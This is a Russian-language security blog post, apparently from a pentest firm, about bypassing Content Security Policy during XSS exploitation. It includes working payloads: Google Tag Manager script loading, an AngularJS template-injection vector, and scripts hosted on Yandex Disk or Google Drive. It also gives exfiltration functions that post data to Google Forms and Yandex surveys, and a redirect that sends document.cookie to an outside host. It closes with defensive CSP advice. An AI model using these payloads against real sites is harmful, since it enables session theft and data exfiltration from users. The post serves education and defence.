In English: https://blog.deteact.com/csp-bypass/
Content Security Policy (CSP) — это дополнительный механизм безопасности, встроенный в браузеры, позволяющий предотвращать Cross Site Scripting (XSS).
CSP позволяет определять белые списки источников для подключения JavaScript, стилей, изображений, фреймов, создания соединений. Также CSP может регулировать возможность исполнения inline-скриптов, возможность подключения текущей страницы во фрейме и т. д.
Рассмотрим различные конфигурации CSP и варианты для обхода ограничений.
В некоторых случаях в CSP разрешено выполнение инлайн-скриптов (директива unsafe-inline), и при этом заголовок Content-Security-Policy выставляется не на всех страницах (его выдаёт не балансировщик, а бекенд, или политика задаётся через тег meta). В таком случае можно открыть страницу, для которой политика не задана, и перезаписать её содержимое (см. https://xakep.ru/2018/10/01/xss-csp-bypass/). При этом, если директива frame-src ограничивает создание фреймов, придётся прибегнуть к созданию окна через window.open.
Рассмотрим различные варианты эксплуатации XSS, когда условия жёстче, и вышеупомянутый способ не работает.
Эксплуатация сводится к двум шагам: сначала нужно научиться выполнять произвольный код, а затем — получать нужные данные со страницы в браузере жертвы.
Исполнение кода
Рассмотрим некоторые распространённые способы обхода CSP для выполнения кода в зависимости от наличия или отсутствия в политике директив unsafe-inline и unsafe-eval.
Есть unsafe-inline
Пример политики:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;
Inline-выполнение
С включенной политикой unsafe-inline мы без проблем можем исполнять код в тегах script.
Google Tag Manager
Иногда возникает необходимость собрать много информации, выполнив достаточно объёмный скрипт. Весь код может не помещаться в векторе, и в таком случае его нужно динамически подгрузить из какого-то источника.
В нашем случае можно посмотреть на политику и увидеть, что разрешено выполнение скриптов с домена www.googletagmanager.com. В этом сервисе можно сохранять пользовательский html, в который к нашему счастью можно вставлять свой JS-код. Учтите, что по умолчанию не поддерживается спецификация ECMAScript6.
Вставить свой код можно через добавление тегов. Например, попробуем добавить код с alert и встроить на сайте с настроенной политикой CSP.
Чтобы выполнился код из Tag Manager’а необходимо вставить блок:
1 2 3 4 5 6 |
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-*******'); </script> |
Сократить код можно следующим образом:
1 2 |
<script>setTimeout(function(){dataLayer.push({event:'gtm.js'})},1000)</script> <script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script> |
Изменяется здесь только id, который вы можете посмотреть в вашем личном кабинете Tag Manager’а.
Смысл в том, чтобы подключить скрипт gtm.js и добавить в очередь событие ‘gtm.js’, при обработке которого будет выполнен скрипт.
Есть unsafe-eval
Пример политики:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;
CDN и CSTI
С включенной политикой unsafe-eval мы можем выполнить атаку Client-Side Template Injection.
Если библиотека-шаблонизатор (такая как Vue.JS, Angular, JQuery и т. д.) не подключена на странице, нам нужно её подключить. Для этого хорошо подходит хост ajax.googleapis.com, который очень часто разрешён в CSP для подгрузки каких-то библиотек, нужных для работы сайта.
Для примера подключим AngularJS старой версии (1.4.6) и выполним произвольный код через внедрение шаблона.
Итоговый вектор атаки:
1 |
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div> |
В векторе мы создаём элемент div с атрибутом ng-app, который активизирует AngularJS, а в содержимом вставляем шаблон, эксплуатирующий CSTI в AngularJS 1.4.6, в результате выполняется код alert(1):
DOM-based XSS
Помимо CSTI, выполнить произвольный код при наличии unsafe-eval могут помочь и любые другие виды DOM-based XSS, в которых содержимое какого-то HTML-элемента попадает в вызов eval().
Нет unsafe-inline и unsafe-eval
Пример политики:
Content-Security-Policy: default-src 'self'; script-src 'self' *.googleusercontent.com *.google.com *.yandex.net;
Файлообменники
В случае, если в script-src есть домен yandex.net, то скрипт можно подключить с Яндекс Диска. Необходимо скопировать итоговую ссылку на скачивание и заменить в ссылке значение параметра content_type на application/javascript, в таком случае сервер отдаст соответствующий заголовок, и браузер подключит скрипт:
1 |
<script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script> |
Учитывайте, что ссылка на файл временная, и спустя некоторое время (приблизительно 4 часа) она перестает работать.
Если же в script-src есть записи *.googleusercontent.com и *.google.com, то скрипт аналогично можно подгрузить с Google Drive:
1 |
https://drive.google.com/uc?id=...&export=download |
Необходимы обе записи из-за временного Cookie-идентификатора, который создаётся до перенаправления на *.googleusercontent.com.
Загрузка файлов или JS/JSON/JSONP-инъекции
Стоит проверить функциональности загрузки у приложения, возможно оно позволяет загружать JS-файлы, тогда скрипт можно будет запрашивать с собственного домена.
Также могут помочь неэксплуатабельные инъекции содержимого в JavaScript или JSON, а также JSONP hijacking. Например, в случае отсутствия валидации имени функции в JSONP, можно заменить вызываемую функцию, на свою, в которой вы сможете написать произвольный JS код:
Отправка данных
Предположим, что мы научились выполнять произвольный код на странице. Теперь стоит задача извлечь данные и передать их на контролируемый нами хост.
Есть разрешённые хосты
Пример политики:
Content-Security-Policy: default-src 'self'; connect-src: 'self' www.google-analytics.com *.google.com *.yandex.ru;
Системы аналитики
Если в политике разрешён хост Google Analytics, то можем отправлять данные туда. Учитывайте, что максимальный размер принимаемых данных за один запрос — 8КБ.
Ссылка для отправки данных выглядит следующим образом:
https://www.google-analytics.com/collect?v=1&tid=***&cid=123&t=event&ec=email&el=321&cs=newsletter&cm=email&cn=&cm1=1&ea=data
После этого в событиях вы увидите данные, которые вы отправили в параметре ea:
Системы опросов, чаты и т. д.
Если на сайте используются системы с онлайн консультантами, можно воспользоваться ими для отправки данных.
При наличии в connect-src *.google или *.yandex.ru , можно воспользоваться сервисами, котороые расположены на этих поддоменах, а именно гугл формами и яндекс взглядом .
Пример отправки данных в гугл форму — https://docs.google.com/forms.
Тут все довольно просто, обычный POST запрос:
1 2 3 4 5 6 7 |
function sendit(data) { var xhr = new XMLHttpRequest(); var params = params="entry.1359945223=" + data; xhr.open('post','https://docs.google.com/forms/d/e/***/formResponse', true); xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xhr.send(params); } |
Пример отправки данных в яндекс взгляд — https://surveys.yandex.ru/.
Для яндекс взгляда будет необходимо генерировать уникальный ivid, функция отправки будет выглядеть примерно так:
1 2 3 4 5 6 7 8 |
function sendit(data) { var http = new XMLHttpRequest(); ivid = Math.floor((10000000 + Math.random() * 99999999) % 100000000) + ''; var params = JSON.stringify({"answers":[{"text":data,"questionId":"1"}],"_ivid":ivid+"-ea97-5037-afc1-bf1f77335e4f","_seqnum":3}); http.open("POST", "https://www.yandex.ru/poll/api/v0/survey/***/finish", true); http.setRequestHeader("Content-Type","application/json"); http.send(params); } |
Нет разрешённых хостов
Пример политики:
Content-Security-Policy: default-src 'self'
Редирект
Если не разрешено соединение с какими-либо хостами, можно передать данные прямо в URL (в query string), перенаправив пользователя на свой веб-сервер:
1 |
window.location='https://deteact.com/'+document.cookie; |
Отправка внутри приложения
Если приложение позволяет оставлять комментарии, писать сообщения, то можно воспользоваться этой функциональностью для передачи данных внутри приложения. Достаточно зарегистрировать аккаунт, который получит украденную информацию в личном сообщении или в комментарии.
Что делать?
Всё это конечно хорошо, и мы научились ломать, но более важный вопрос — как защититься?
Не разрешать лишнее
Для CSP действует правило «запрещено все, что не разрешено» следует аккуратнее прописывать домены к которым браузеру будет разрешено обращаться. Зачастую разработчикам проще разрешить лишние домены, чем разбираться, какой конкретно хост нужен для работы фронтенда. В идеале все нужные скрипты должны быть размещены на ваших хостах, и там не должно быть ничего лишнего.
Для проверки CSP можно воспользоваться https://csp-evaluator.withgoogle.com/. Данный сайт проанализирует выставленные политики и покажет какие угрозы несет каждая из них.
Использовать директиву report-uri
Или пришедшую на замену report-to, что заставит браузер сообщать о попытках злоумышленников обойти CSP на вашем сайте. Это поможет вам вовремя среагировать на атаку и минимизировать риски от нее.
Запретить unsafe-inline
Или используйте nonce, а также не разрешайте unsafe-eval.
Не допускать XSS!
Механизм CSP — это лишь компенсирующая мера, которая усложняет эксплуатацию XSS, но зачастую не делает её невозможной.
Проводить пентест
Чтобы проверить корректность настройки CSP и устойчивость вашего приложения к XSS и другим атакам, обратитесь к нам для проведения пентеста веб-приложения.